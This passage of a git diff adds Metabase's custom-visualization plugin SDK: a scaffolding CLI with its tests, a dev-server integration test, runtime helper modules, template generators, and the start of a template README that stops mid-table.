+ pkg.devDependencies["@metabase/custom-viz"] =
+ `file:${CUSTOM_VIZ_PACKAGE_DIR}`;
+ writeFileSync(pkgPath, JSON.stringify(pkg, null, 2));
+
+ await npmInstall(projectDir);
+ await npmRun("build", projectDir);
+ }, 120_000);
+
+ afterAll(async () => {
+ await rm(tmpDir, { recursive: true, force: true });
+ });
+
+ it("dist/index.js exists", () => {
+ expect(existsSync(join(projectDir, "dist", "index.js"))).toBe(true);
+ });
+
+ it("output format is IIFE", () => {
+ const bundle = readFileSync(join(projectDir, "dist", "index.js"), "utf-8");
+ expect(bundle).toContain("__customVizPlugin__");
+ });
+
+ it("metabase-plugin.json is copied to dist/", () => {
+ const manifestPath = join(projectDir, "metabase-plugin.json");
+ expect(existsSync(manifestPath)).toBe(true);
+ const manifest = JSON.parse(readFileSync(manifestPath, "utf-8"));
+ expect(manifest.name).toBe("test-viz-build");
+ expect(manifest).toHaveProperty("icon");
+ expect(manifest).toHaveProperty("assets");
+ });
+
+ it("build produces an upload-ready .tgz", () => {
+ const tgzPath = join(projectDir, "test-viz-build-0.0.1.tgz");
+ expect(existsSync(tgzPath)).toBe(true);
+ });
+});
+
+describe("dev server", () => {
+ let projectDir: string;
+ let devProcess: ChildProcess | null = null;
+
+ beforeAll(async () => {
+ const { mkdtemp } = await import("node:fs/promises");
+ tmpDir = await mkdtemp(join(osTmpdir(), "custom-viz-dev-"));
+ projectDir = await scaffold("test-viz-dev");
+
+ // Point to local package
+ const pkgPath = join(projectDir, "package.json");
+ const pkg = JSON.parse(readFileSync(pkgPath, "utf-8"));
+ pkg.devDependencies["@metabase/custom-viz"] =
+ `file:${CUSTOM_VIZ_PACKAGE_DIR}`;
+ writeFileSync(pkgPath, JSON.stringify(pkg, null, 2));
+
+ await npmInstall(projectDir);
+
+ // Start the dev server once for all tests
+ devProcess = await startDevServer(projectDir);
+ }, 180_000);
+
+ afterAll(async () => {
+ if (devProcess && !devProcess.killed) {
+ devProcess.kill("SIGTERM");
+ }
+ await rm(tmpDir, { recursive: true, force: true });
+ });
+
+ it("serves SSE endpoint with CORS headers", async () => {
+ // Use raw TCP to inspect headers, since http.get/fetch hang on SSE
+ // streams that don't send initial data.
+ const { Socket } = await import("node:net");
+
+ const rawResponse = await new Promise<string>((resolve, reject) => {
+ const socket = new Socket();
+ let data = "";
+
+ socket.connect(5174, "localhost", () => {
+ socket.write("GET /__sse HTTP/1.1\r\nHost: localhost:5174\r\n\r\n");
+ });
+
+ socket.on("data", (chunk) => {
+ data += chunk.toString();
+ // Once we have the headers (double CRLF), we can close
+ if (data.includes("\r\n\r\n")) {
+ socket.destroy();
+ resolve(data);
+ }
+ });
+
+ socket.on("error", reject);
+ setTimeout(() => {
+ socket.destroy();
+ reject(new Error("Socket timed out"));
+ }, 5_000);
+ });
+
+ expect(rawResponse).toContain("HTTP/1.1 200");
+ expect(rawResponse).toContain("text/event-stream");
+ expect(rawResponse.toLowerCase()).toContain(
+ "access-control-allow-origin: *",
+ );
+ }, 10_000);
+
+ it("serves landing page at /", async () => {
+ const response = await fetch(`${DEV_SERVER_URL}/`);
+ expect(response.status).toBe(200);
+ expect(response.headers.get("content-type")).toBe("text/html");
+
+ const html = await response.text();
+ expect(html).toContain("Custom Visualization Dev Server");
+ }, 10_000);
+
+ it("broadcasts SSE reload event on asset change", async () => {
+ const { get } = await import("node:http");
+
+ const received = await new Promise<string>((resolve, reject) => {
+ let data = "";
+
+ const req = get(`${DEV_SERVER_URL}/__sse`, (res) => {
+ res.setEncoding("utf-8");
+ res.on("data", (chunk: string) => {
+ data += chunk;
+ if (data.includes("data: reload")) {
+ res.destroy();
+ req.destroy();
+ resolve(data);
+ }
+ });
+ });
+
+ req.on("error", (err) => {
+ // ECONNRESET is expected when we destroy the connection
+ if ("code" in err && err.code === "ECONNRESET") {
+ resolve(data);
+ } else {
+ reject(err);
+ }
+ });
+
+ // Wait briefly for SSE connection to establish, then modify an asset
+ setTimeout(() => {
+ const assetPath = join(projectDir, "public", "assets", "icon.svg");
+ const originalContent = readFileSync(assetPath, "utf-8");
+ writeFileSync(
+ assetPath,
+ originalContent + `<!-- modified ${Date.now()} -->`,
+ );
+ }, 500);
+
+ // Timeout fallback
+ setTimeout(() => {
+ req.destroy();
+ resolve(data);
+ }, 15_000);
+ });
+
+ expect(received).toContain("data: reload");
+ }, 30_000);
+});
+
+async function scaffold(name: string): Promise<string> {
+ return new Promise((resolve, reject) => {
+ execFile(
+ "node",
+ [CLI_PATH, "init", name],
+ { cwd: tmpDir },
+ (error, _stdout, stderr) => {
+ if (error) {
+ reject(new Error(`scaffold failed: ${stderr}`));
+ } else {
+ resolve(join(tmpDir, name));
+ }
+ },
+ );
+ });
+}
+
+async function npmInstall(cwd: string): Promise<void> {
+ // We use `npm install` rather than `npm ci` because the test overrides
+ // @metabase/custom-viz to a local file path after scaffolding, so the
+ // lockfile no longer matches package.json.
+ return new Promise((resolve, reject) => {
+ execFile(
+ "npm",
+ ["install", "--ignore-scripts"],
+ { cwd, timeout: 120_000 },
+ (error, _stdout, stderr) => {
+ if (error) {
+ reject(new Error(`npm install failed: ${stderr}`));
+ } else {
+ resolve();
+ }
+ },
+ );
+ });
+}
+
+async function npmRun(
+ script: string,
+ cwd: string,
+): Promise<{ stdout: string; stderr: string }> {
+ return new Promise((resolve, reject) => {
+ execFile(
+ "npm",
+ ["run", script],
+ { cwd, timeout: 120_000 },
+ (error, stdout, stderr) => {
+ if (error) {
+ reject(new Error(`npm run ${script} failed: ${stderr}`));
+ } else {
+ resolve({ stdout: stdout.toString(), stderr: stderr.toString() });
+ }
+ },
+ );
+ });
+}
+
+function startDevServer(cwd: string): Promise<ChildProcess> {
+ return new Promise<ChildProcess>((resolve, reject) => {
+ const proc = spawn("npm", ["run", "dev"], {
+ cwd,
+ stdio: ["ignore", "pipe", "pipe"],
+ });
+
+ const timeout = setTimeout(() => {
+ reject(new Error("Dev server did not start within 60s"));
+ }, 60_000);
+
+ let output = "";
+ const onData = (data: Buffer) => {
+ output += data.toString();
+ if (output.includes("Dev server listening")) {
+ clearTimeout(timeout);
+ resolve(proc);
+ }
+ };
+
+ proc.stdout?.on("data", onData);
+ proc.stderr?.on("data", onData);
+
+ proc.on("error", (err) => {
+ clearTimeout(timeout);
+ reject(err);
+ });
+
+ proc.on("exit", (code) => {
+ if (code !== null && code !== 0) {
+ clearTimeout(timeout);
+ reject(new Error(`Dev server exited with code ${code}: ${output}`));
+ }
+ });
+ });
+}
diff --git a/enterprise/frontend/src/custom-viz/src/cli.ts b/enterprise/frontend/src/custom-viz/src/cli.ts
new file mode 100644
index 00000000000..7372e17274c
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/src/cli.ts
@@ -0,0 +1,113 @@
+#!/usr/bin/env node
+/* eslint-disable metabase/no-literal-metabase-strings */
+/* eslint-disable no-console */
+
+import { existsSync } from "node:fs";
+import { mkdir, writeFile } from "node:fs/promises";
+import { join } from "node:path";
+
+import { Command } from "commander";
+
+import { version } from "../package.json";
+
+import {
+ generateGitignore,
+ generateIconSvg,
+ generateIndexTsx,
+ generateManifest,
+ generatePackScript,
+ generatePackageJson,
+ generateReadme,
+ generateTsConfig,
+ generateViteConfig,
+ readBinaryTemplate,
+} from "./templates";
+
+const program = new Command();
+
+program
+ .name("metabase-custom-viz")
+ .description("CLI for creating custom visualizations for Metabase")
+ .version(version);
+
+program
+ .command("init")
+ .description("Scaffold a new custom visualization")
+ .argument("<name>", "Name of the custom visualization")
+ .action(async (rawName: string) => {
+ const displayName = rawName.trim();
+ const name = displayName.replace(/\s+/g, "-").toLowerCase();
+
+ if (!name || !/^[a-z0-9@][a-z0-9._\-/]*$/.test(name)) {
+ console.error(
+ `Error: "${rawName}" is not a valid project name. Use letters, numbers, hyphens, and dots.`,
+ );
+ process.exit(1);
+ }
+
+ if (existsSync(name)) {
+ console.error(`Error: Directory "${name}" already exists.`);
+ process.exit(1);
+ }
+
+ console.log(`Scaffolding custom visualization: ${name}\n`);
+
+ await Promise.all([
+ mkdir(join(name, "src"), { recursive: true }),
+ mkdir(join(name, "public", "assets"), { recursive: true }),
+ ]);
+
+ await Promise.all([
+ writeFile(join(name, "package.json"), generatePackageJson(name)),
+ writeFile(join(name, "vite.config.ts"), generateViteConfig()),
+ writeFile(join(name, "tsconfig.json"), generateTsConfig()),
+ writeFile(join(name, "pack.mjs"), generatePackScript()),
+ writeFile(
+ join(name, "src", "index.tsx"),
+ generateIndexTsx(name, displayName),
+ ),
+ writeFile(join(name, "metabase-plugin.json"), generateManifest(name)),
+ writeFile(join(name, "public", "assets", "icon.svg"), generateIconSvg()),
+ writeFile(
+ join(name, "public", "assets", "thumbs-up.png"),
+ readBinaryTemplate("thumbs-up.png"),
+ ),
+ writeFile(
+ join(name, "public", "assets", "thumbs-down.png"),
+ readBinaryTemplate("thumbs-down.png"),
+ ),
+ writeFile(join(name, ".gitignore"), generateGitignore()),
+ writeFile(join(name, "README.md"), generateReadme(name, displayName)),
+ ]);
+
+ console.log("Created files:");
+ console.log(` ${name}/package.json`);
+ console.log(` ${name}/vite.config.ts`);
+ console.log(` ${name}/tsconfig.json`);
+ console.log(` ${name}/pack.mjs`);
+ console.log(` ${name}/src/index.tsx`);
+ console.log(` ${name}/metabase-plugin.json`);
+ console.log(` ${name}/public/assets/icon.svg`);
+ console.log(` ${name}/public/assets/thumbs-up.png`);
+ console.log(` ${name}/public/assets/thumbs-down.png`);
+ console.log(` ${name}/.gitignore`);
+ console.log(` ${name}/README.md`);
+ console.log();
+ console.log("Next steps:");
+ console.log(` cd ${name}`);
+ console.log(" npm install");
+ console.log(" npm run dev # Start dev server with hot-reload");
+ console.log(
+ " npm run build # Compile to dist/ and produce a .tgz for upload",
+ );
+ console.log();
+ console.log("Syncing with a Metabase instance:");
+ console.log(
+ " Dev mode (hot-reload): Admin → Custom visualizations → Development → set dev server URL to http://localhost:5174",
+ );
+ console.log(
+ " Production: npm run build, then upload the .tgz in Admin → Custom visualizations → Add",
+ );
+ });
+
+program.parse();
diff --git a/enterprise/frontend/src/custom-viz/src/cli.unit.spec.ts b/enterprise/frontend/src/custom-viz/src/cli.unit.spec.ts
new file mode 100644
index 00000000000..c99d200a935
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/src/cli.unit.spec.ts
@@ -0,0 +1,156 @@
+import { existsSync, readFileSync } from "node:fs";
+import { rm } from "node:fs/promises";
+import { join } from "node:path";
+
+import { afterEach, beforeEach, describe, expect, it } from "vitest";
+
+import { version } from "../package.json";
+
+const CLI_PATH = join(__dirname, "..", "dist", "cli.js");
+
+async function runCli(
+ args: string[],
+ options: { cwd?: string } = {},
+): Promise<{ stdout: string; stderr: string; exitCode: number | null }> {
+ const { execFile } = await import("node:child_process");
+ return new Promise((resolve) => {
+ execFile(
+ "node",
+ [CLI_PATH, ...args],
+ { cwd: options.cwd ?? tmpDir },
+ (error, stdout, stderr) => {
+ resolve({
+ stdout: stdout.toString(),
+ stderr: stderr.toString(),
+ exitCode: error?.code
+ ? parseInt(String(error.code), 10)
+ : error
+ ? 1
+ : 0,
+ });
+ },
+ );
+ });
+}
+
+let tmpDir: string;
+
+beforeEach(async () => {
+ const { mkdtemp } = await import("node:fs/promises");
+ const { tmpdir: osTmpdir } = await import("node:os");
+ tmpDir = await mkdtemp(join(osTmpdir(), "custom-viz-test-"));
+});
+
+afterEach(async () => {
+ await rm(tmpDir, { recursive: true, force: true });
+});
+
+describe("cli --version", () => {
+ it("prints the package version", async () => {
+ const { stdout } = await runCli(["--version"]);
+ expect(stdout.trim()).toBe(version);
+ });
+});
+
+describe("cli --help", () => {
+ it("shows usage information", async () => {
+ const { stdout } = await runCli(["--help"]);
+ expect(stdout).toContain("metabase-custom-viz");
+ expect(stdout).toContain("init");
+ });
+});
+
+describe("cli init", () => {
+ it("scaffolds all expected files", async () => {
+ const { exitCode } = await runCli(["init", "test-viz"]);
+ expect(exitCode).toBe(0);
+
+ const projectDir = join(tmpDir, "test-viz");
+ const expectedFiles = [
+ "package.json",
+ "vite.config.ts",
+ "tsconfig.json",
+ "pack.mjs",
+ "src/index.tsx",
+ "metabase-plugin.json",
+ "public/assets/icon.svg",
+ "public/assets/thumbs-up.png",
+ "public/assets/thumbs-down.png",
+ ".gitignore",
+ ];
+
+ for (const file of expectedFiles) {
+ expect(existsSync(join(projectDir, file)), `${file} should exist`).toBe(
+ true,
+ );
+ }
+ });
+
+ it("substitutes the project name in package.json", async () => {
+ await runCli(["init", "my-viz"]);
+ const pkg = JSON.parse(
+ readFileSync(join(tmpDir, "my-viz", "package.json"), "utf-8"),
+ );
+ expect(pkg.name).toBe("my-viz");
+ });
+
+ it("substitutes the SDK version in package.json", async () => {
+ await runCli(["init", "my-viz"]);
+ const pkg = JSON.parse(
+ readFileSync(join(tmpDir, "my-viz", "package.json"), "utf-8"),
+ );
+ expect(pkg.devDependencies["@metabase/custom-viz"]).toBe(version);
+ });
+
+ it("substitutes the project name in metabase-plugin.json", async () => {
+ await runCli(["init", "my-viz"]);
+ const manifest = JSON.parse(
+ readFileSync(join(tmpDir, "my-viz", "metabase-plugin.json"), "utf-8"),
+ );
+ expect(manifest.name).toBe("my-viz");
+ });
+
+ it("rewrites the import path in index.tsx", async () => {
+ await runCli(["init", "my-viz"]);
+ const indexTsx = readFileSync(
+ join(tmpDir, "my-viz", "src", "index.tsx"),
+ "utf-8",
+ );
+ expect(indexTsx).toContain('from "@metabase/custom-viz"');
+ expect(indexTsx).not.toContain('from "../"');
+ });
+
+ it("normalizes the project name", async () => {
+ await runCli(["init", "My Custom Viz"]);
+ const projectDir = join(tmpDir, "my-custom-viz");
+ expect(existsSync(projectDir)).toBe(true);
+
+ const pkg = JSON.parse(
+ readFileSync(join(projectDir, "package.json"), "utf-8"),
+ );
+ expect(pkg.name).toBe("my-custom-viz");
+ });
+
+ it("uses normalized id and human-friendly display name in index.tsx", async () => {
+ await runCli(["init", "My Custom Viz"]);
+ const indexTsx = readFileSync(
+ join(tmpDir, "my-custom-viz", "src", "index.tsx"),
+ "utf-8",
+ );
+ expect(indexTsx).toContain('id: "my-custom-viz"');
+ expect(indexTsx).toContain('getName: () => "My Custom Viz"');
+ });
+
+ it("exits with error for invalid name", async () => {
+ const { exitCode, stderr } = await runCli(["init", "!!!invalid"]);
+ expect(exitCode).not.toBe(0);
+ expect(stderr).toContain("not a valid project name");
+ });
+
+ it("exits with error if directory already exists", async () => {
+ await runCli(["init", "test-viz-existing"]);
+ const { exitCode, stderr } = await runCli(["init", "test-viz-existing"]);
+ expect(exitCode).not.toBe(0);
+ expect(stderr).toContain("already exists");
+ });
+});
diff --git a/enterprise/frontend/src/custom-viz/src/column-types.ts b/enterprise/frontend/src/custom-viz/src/column-types.ts
new file mode 100644
index 00000000000..c4b074f9368
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/src/column-types.ts
@@ -0,0 +1,68 @@
+/**
+ * Column type predicates.
+ *
+ * At runtime inside a plugin bundle, these delegate to
+ * `window.__METABASE_VIZ_API__.columnTypes` which is set by Metabase
+ * before the plugin executes.
+ *
+ * During development (type-checking, IDE), the types are what matter —
+ * the runtime delegation is only exercised inside the browser.
+ */
+import type { ColumnPredicate, ColumnTypes } from "./types/column-types";
+import type { Column } from "./types/data";
+
+declare const window: { __METABASE_VIZ_API__?: { columnTypes: ColumnTypes } };
+
+function ct(): ColumnTypes {
+ const api = window.__METABASE_VIZ_API__;
+ if (!api) {
+ throw new Error(
+ // eslint-disable-next-line metabase/no-literal-metabase-strings
+ "Metabase Viz API not initialized. Column type functions can only be called inside a running Metabase instance.",
+ );
+ }
+ return api.columnTypes;
+}
+
+export const isDate: ColumnPredicate = (col) => ct().isDate(col);
+export const isNumeric: ColumnPredicate = (col) => ct().isNumeric(col);
+export const isInteger: ColumnPredicate = (col) => ct().isInteger(col);
+export const isBoolean: ColumnPredicate = (col) => ct().isBoolean(col);
+export const isString: ColumnPredicate = (col) => ct().isString(col);
+export const isStringLike: ColumnPredicate = (col) => ct().isStringLike(col);
+export const isSummable: ColumnPredicate = (col) => ct().isSummable(col);
+export const isNumericBaseType: ColumnPredicate = (col) =>
+ ct().isNumericBaseType(col);
+export const isDateWithoutTime: ColumnPredicate = (col) =>
+ ct().isDateWithoutTime(col);
+export const isNumber: ColumnPredicate = (col) => ct().isNumber(col);
+export const isFloat: ColumnPredicate = (col) => ct().isFloat(col);
+export const isTime: ColumnPredicate = (col) => ct().isTime(col);
+export const isFK: ColumnPredicate = (col) => ct().isFK(col);
+export const isPK: ColumnPredicate = (col) => ct().isPK(col);
+export const isEntityName: ColumnPredicate = (col) => ct().isEntityName(col);
+export const isTitle: ColumnPredicate = (col) => ct().isTitle(col);
+export const isProduct: ColumnPredicate = (col) => ct().isProduct(col);
+export const isSource: ColumnPredicate = (col) => ct().isSource(col);
+export const isAddress: ColumnPredicate = (col) => ct().isAddress(col);
+export const isScore: ColumnPredicate = (col) => ct().isScore(col);
+export const isQuantity: ColumnPredicate = (col) => ct().isQuantity(col);
+export const isCategory: ColumnPredicate = (col) => ct().isCategory(col);
+export const isAny: ColumnPredicate = (col) => ct().isAny(col);
+export const isState: ColumnPredicate = (col) => ct().isState(col);
+export const isCountry: ColumnPredicate = (col) => ct().isCountry(col);
+export const isCoordinate: ColumnPredicate = (col) => ct().isCoordinate(col);
+export const isLatitude: ColumnPredicate = (col) => ct().isLatitude(col);
+export const isLongitude: ColumnPredicate = (col) => ct().isLongitude(col);
+export const isCurrency: ColumnPredicate = (col) => ct().isCurrency(col);
+export const isPercentage: ColumnPredicate = (col) => ct().isPercentage(col);
+export const isID: ColumnPredicate = (col) => ct().isID(col);
+export const isURL: ColumnPredicate = (col) => ct().isURL(col);
+export const isEmail: ColumnPredicate = (col) => ct().isEmail(col);
+export const isAvatarURL: ColumnPredicate = (col) => ct().isAvatarURL(col);
+export const isImageURL: ColumnPredicate = (col) => ct().isImageURL(col);
+export const hasLatitudeAndLongitudeColumns: (cols: Column[]) => boolean = (
+ cols,
+) => ct().hasLatitudeAndLongitudeColumns(cols);
+
+export type { ColumnPredicate, ColumnTypes };
diff --git a/enterprise/frontend/src/custom-viz/src/define-config.tsx b/enterprise/frontend/src/custom-viz/src/define-config.tsx
new file mode 100644
index 00000000000..597ff36794d
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/src/define-config.tsx
@@ -0,0 +1,69 @@
+import type { ComponentType, ReactNode } from "react";
+import { Component } from "react";
+import { createRoot } from "react-dom/client";
+
+import type {
+ CustomVisualization,
+ CustomVisualizationMountHandle,
+ CustomVisualizationProps,
+} from "./types";
+
+export type CustomVisualizationOpts<TSettings extends Record<string, unknown>> =
+ Omit<CustomVisualization<TSettings>, "mount"> & {
+ VisualizationComponent: ComponentType<CustomVisualizationProps<TSettings>>;
+ };
+
+class PluginErrorBoundary extends Component<
+ { children: ReactNode },
+ { error: Error | null }
+> {
+ state: { error: Error | null } = { error: null };
+
+ static getDerivedStateFromError(error: Error) {
+ return { error };
+ }
+
+ componentDidCatch(error: Error) {
+ const { message, stack } = error;
+ console.error(`[plugin] visualization render failed: ${message}\n${stack}`);
+ }
+
+ render() {
+ if (this.state.error) {
+ return null;
+ }
+ return this.props.children;
+ }
+}
+
+export function defineConfig<TSettings extends Record<string, unknown>>(
+ opts: CustomVisualizationOpts<TSettings>,
+): CustomVisualization<TSettings> {
+ const { VisualizationComponent, ...rest } = opts;
+
+ return {
+ ...rest,
+ VisualizationComponent,
+ mount(
+ container: Element,
+ initial: CustomVisualizationProps<TSettings>,
+ ): CustomVisualizationMountHandle<CustomVisualizationProps<TSettings>> {
+ const root = createRoot(container);
+
+ const render = (props: CustomVisualizationProps<TSettings>) => {
+ root.render(
+ <PluginErrorBoundary>
+ <VisualizationComponent {...props} />
+ </PluginErrorBoundary>,
+ );
+ };
+
+ render(initial);
+
+ return {
+ update: render,
+ unmount: () => root.unmount(),
+ };
+ },
+ };
+}
diff --git a/enterprise/frontend/src/custom-viz/src/format.ts b/enterprise/frontend/src/custom-viz/src/format.ts
new file mode 100644
index 00000000000..6f7a4c4d366
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/src/format.ts
@@ -0,0 +1,23 @@
+/**
+ * Value formatting utilities.
+ *
+ * At runtime inside a plugin bundle, this delegates to
+ * `window.__METABASE_VIZ_API__.formatValue` which is set by Metabase
+ * before the plugin executes.
+ */
+import type { FormatValue, FormatValueOptions } from "./types/format";
+
+declare const window: { __METABASE_VIZ_API__?: { formatValue: FormatValue } };
+
+export const formatValue: FormatValue = (value, options) => {
+ const api = window.__METABASE_VIZ_API__;
+ if (!api) {
+ throw new Error(
+ // eslint-disable-next-line metabase/no-literal-metabase-strings
+ "Metabase Viz API not initialized. formatValue can only be called inside a running Metabase instance.",
+ );
+ }
+ return api.formatValue(value, options);
+};
+
+export type { FormatValue, FormatValueOptions };
diff --git a/enterprise/frontend/src/custom-viz/src/index.ts b/enterprise/frontend/src/custom-viz/src/index.ts
new file mode 100644
index 00000000000..80f99c7d13b
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/src/index.ts
@@ -0,0 +1,6 @@
+export * from "./column-types";
+export * from "./format";
+export * from "./measure-text";
+export * from "./types";
+export { defineConfig } from "./define-config";
+export type { CustomVisualizationOpts } from "./define-config";
diff --git a/enterprise/frontend/src/custom-viz/src/measure-text.ts b/enterprise/frontend/src/custom-viz/src/measure-text.ts
new file mode 100644
index 00000000000..7fab8499d51
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/src/measure-text.ts
@@ -0,0 +1,17 @@
+/**
+ * Text measurement utilities.
+ *
+ * These are stub implementations that provide TypeScript types for plugin
+ * development. At runtime, the Vite `metabaseVizExternals` plugin replaces
+ * imports from "@metabase/custom-viz" with virtual modules that
+ * read from `window.__METABASE_VIZ_API__`.
+ */
+import type {
+ TextHeightMeasurer,
+ TextMeasurer,
+ TextWidthMeasurer,
+} from "./types/measure-text";
+
+export const measureText: TextMeasurer = () => ({ width: 0, height: 0 });
+export const measureTextWidth: TextWidthMeasurer = () => 0;
+export const measureTextHeight: TextHeightMeasurer = () => 0;
diff --git a/enterprise/frontend/src/custom-viz/src/templates.ts b/enterprise/frontend/src/custom-viz/src/templates.ts
new file mode 100644
index 00000000000..36ad8af1c29
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/src/templates.ts
@@ -0,0 +1,84 @@
+import { readFileSync } from "node:fs";
+import { dirname, join } from "node:path";
+import { fileURLToPath } from "node:url";
+
+import { version } from "../package.json";
+
+import gitignoreTemplate from "./templates/.gitignore?raw";
+import readmeTemplate from "./templates/README.md?raw";
+import iconSvgTemplate from "./templates/icon.svg?raw";
+import indexTsxTemplate from "./templates/index.tsx?raw";
+import manifestTemplate from "./templates/metabase-plugin.json?raw";
+import packTemplate from "./templates/pack.mjs?raw";
+import packageJsonTemplate from "./templates/package.json?raw";
+import tsconfigTemplate from "./templates/tsconfig.json?raw";
+import viteConfigTemplate from "./templates/vite.config.ts?raw";
+
+const NAME_PLACEHOLDER = "__CUSTOM_VIZ_NAME__";
+const DISPLAY_NAME_PLACEHOLDER = "__CUSTOM_VIZ_DISPLAY_NAME__";
+const VERSION_PLACEHOLDER = "__CUSTOM_VIZ_VERSION__";
+
+function replaceName(template: string, name: string): string {
+ return template.split(NAME_PLACEHOLDER).join(name);
+}
+
+function replaceDisplayName(template: string, displayName: string): string {
+ return template.split(DISPLAY_NAME_PLACEHOLDER).join(displayName);
+}
+
+function replaceImportPath(template: string): string {
+ // Template uses ../ to import SDK locally for TS-checking purposes.
+ return template.replace("../", "@metabase/custom-viz");
+}
+
+export function generatePackageJson(name: string): string {
+ return replaceName(packageJsonTemplate, name)
+ .split(VERSION_PLACEHOLDER)
+ .join(version);
+}
+
+export function generateViteConfig(): string {
+ return viteConfigTemplate;
+}
+
+export function generatePackScript(): string {
+ return packTemplate;
+}
+
+export function generateTsConfig(): string {
+ return tsconfigTemplate;
+}
+
+export function generateIndexTsx(name: string, displayName: string): string {
+ return replaceDisplayName(
+ replaceName(replaceImportPath(indexTsxTemplate), name),
+ displayName,
+ );
+}
+
+export function generateManifest(name: string): string {
+ return replaceName(manifestTemplate, name);
+}
+
+export function generateIconSvg(): string {
+ return iconSvgTemplate;
+}
+
+// Binary templates can't use ?raw imports, so we read them from disk.
+// The build step copies src/templates/ to dist/templates/.
+const TEMPLATES_DIR = join(
+ dirname(fileURLToPath(import.meta.url)),
+ "templates",
+);
+
+export function readBinaryTemplate(filename: string): Buffer {
+ return readFileSync(join(TEMPLATES_DIR, filename));
+}
+
+export function generateGitignore(): string {
+ return gitignoreTemplate;
+}
+
+export function generateReadme(name: string, displayName: string): string {
+ return replaceDisplayName(replaceName(readmeTemplate, name), displayName);
+}
diff --git a/enterprise/frontend/src/custom-viz/src/templates.unit.spec.ts b/enterprise/frontend/src/custom-viz/src/templates.unit.spec.ts
new file mode 100644
index 00000000000..bd80cf887b4
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/src/templates.unit.spec.ts
@@ -0,0 +1,34 @@
+import { describe, expect, it } from "vitest";
+
+import { version } from "../package.json";
+
+import {
+ generateIndexTsx,
+ generateManifest,
+ generatePackageJson,
+} from "./templates";
+
+describe("text templates", () => {
+ it("generatePackageJson substitutes name and version", () => {
+ const pkg = JSON.parse(generatePackageJson("my-custom-viz"));
+ expect(pkg.name).toBe("my-custom-viz");
+ expect(pkg.devDependencies["@metabase/custom-viz"]).toBe(version);
+ });
+
+ it("generateIndexTsx contains SDK import", () => {
+ expect(generateIndexTsx("my-viz", "My Viz")).toContain(
+ 'from "@metabase/custom-viz"',
+ );
+ });
+
+ it("generateIndexTsx substitutes id and display name separately", () => {
+ const source = generateIndexTsx("my-viz", "My Viz");
+ expect(source).toContain('id: "my-viz"');
+ expect(source).toContain('getName: () => "My Viz"');
+ });
+
+ it("generateManifest substitutes name", () => {
+ const manifest = JSON.parse(generateManifest("my-viz"));
+ expect(manifest.name).toBe("my-viz");
+ });
+});
diff --git a/enterprise/frontend/src/custom-viz/src/templates/.gitignore b/enterprise/frontend/src/custom-viz/src/templates/.gitignore
new file mode 100644
index 00000000000..b8260a2de66
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/src/templates/.gitignore
@@ -0,0 +1,3 @@
+node_modules/
+.DS_Store
+# dist must be committed
diff --git a/enterprise/frontend/src/custom-viz/src/templates/README.md b/enterprise/frontend/src/custom-viz/src/templates/README.md
new file mode 100644
index 00000000000..940550a510c
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/src/templates/README.md
@@ -0,0 +1,257 @@
+# `__CUSTOM_VIZ_NAME__`
+
+A custom visualization plugin for [Metabase](https://www.metabase.com).
+
+## Getting Started
+
+### Install dependencies and start developing
+
+```bash
+npm install
+npm run dev # Watch mode — rebuilds and hot-reloads on changes
+```
+
+### Build and package for upload
+
+```bash
+npm run build # Compiles src/ → dist/, then packages it into a .tgz
+```
+
+`npm run build` writes `<name>-<version>.tgz` to the project root. Upload that file in
+**Admin → Custom visualizations → Add** to register the plugin.
+
+> The packaged archive contains `metabase-plugin.json` plus the build output (`dist/index.js` and any whitelisted `dist/assets/*`). The `dist/` folder does not need to be committed.
+
+### Project structure
+
+```
+src/
+ index.tsx # Your visualization code — start here
+metabase-plugin.json # Plugin manifest (name, icon, assets, version)
+public/
+ assets/
+ icon.svg # Visualization icon (shown in chart type picker)
+ ... # Any other static assets
+vite.config.ts # Build configuration (do not edit)
+tsconfig.json
+```
+
+---
+
+## Development
+
+To develop against a live Metabase instance with hot-reload:
+
+1. Start Metabase with dev mode enabled:
+
+ ```
+ MB_CUSTOM_VIZ_PLUGIN_DEV_MODE_ENABLED=true
+ ```
+
+2. Run `npm run dev` — changes will hot-reload automatically in Metabase.
+
+3. In Metabase, go to **Admin → Custom visualizations → Development**.
+
+4. Set the dev server URL to `http://localhost:5174`.
+
+---
+
+## Plugin Manifest (`metabase-plugin.json`)
+
+```json
+{
+ "name": "__CUSTOM_VIZ_NAME__",
+ "icon": "icon.svg",
+ "assets": ["image.png"],
+ "metabase": {
+ "version": ">=1.60.0"
+ }
+}
+```
+
+| Field | Description |
+| ------------------ | ------------------------------------------------------------------------------------------------ |
+| `name` | Unique identifier for the plugin. Must match the `id` returned by your visualization factory. |
+| `icon` | Path to the visualization icon (SVG recommended). Automatically served — do not add to `assets`. |
+| `assets` | Additional static files to bundle (images and JSON only). Reference them via `getAssetUrl()`. |
+| `metabase.version` | Semver range of compatible Metabase versions (e.g. `">=1.60.0"`, `"^1.60"`). |
+
+---
+
+## Defining a Visualization
+
+Your `src/index.tsx` exports a factory function that receives helpers and returns a visualization definition:
+
+```tsx
+import type { CreateCustomVisualization } from "@metabase/custom-viz";
+
+type Settings = {
+ myOption?: string;
+};
+
+const createVisualization: CreateCustomVisualization<Settings> = ({
+ defineSetting,
+ getAssetUrl,
+ locale,
+}) => {
+ const VisualizationComponent = ({ series, settings, width, height }) => {
+ // Render your visualization using React
+ return <div>{/* ... */}</div>;
+ };
+
+ return {
+ id: "__CUSTOM_VIZ_NAME__",
+ getName: () => "__CUSTOM_VIZ_DISPLAY_NAME__",
+ minSize: { width: 2, height: 2 },
+ defaultSize: { width: 6, height: 4 },
+ checkRenderable(series, settings) {
+ // Throw an error if the visualization cannot be rendered
+ if (series.length === 0) {
+ throw new Error("No data");
+ }
+ },
+ settings: {
+ myOption: defineSetting({
+ id: "myOption",
+ title: "My option",
+ widget: "input",
+ }),
+ },
+ VisualizationComponent,
+ };
+};
+
+export default createVisualization;
+```
+
+### Visualization definition properties
+
+| Property | Type | Description |
+| ------------------------ | ----------------------------------- | --------------------------------------------------------------------------------------------------------------------------- |
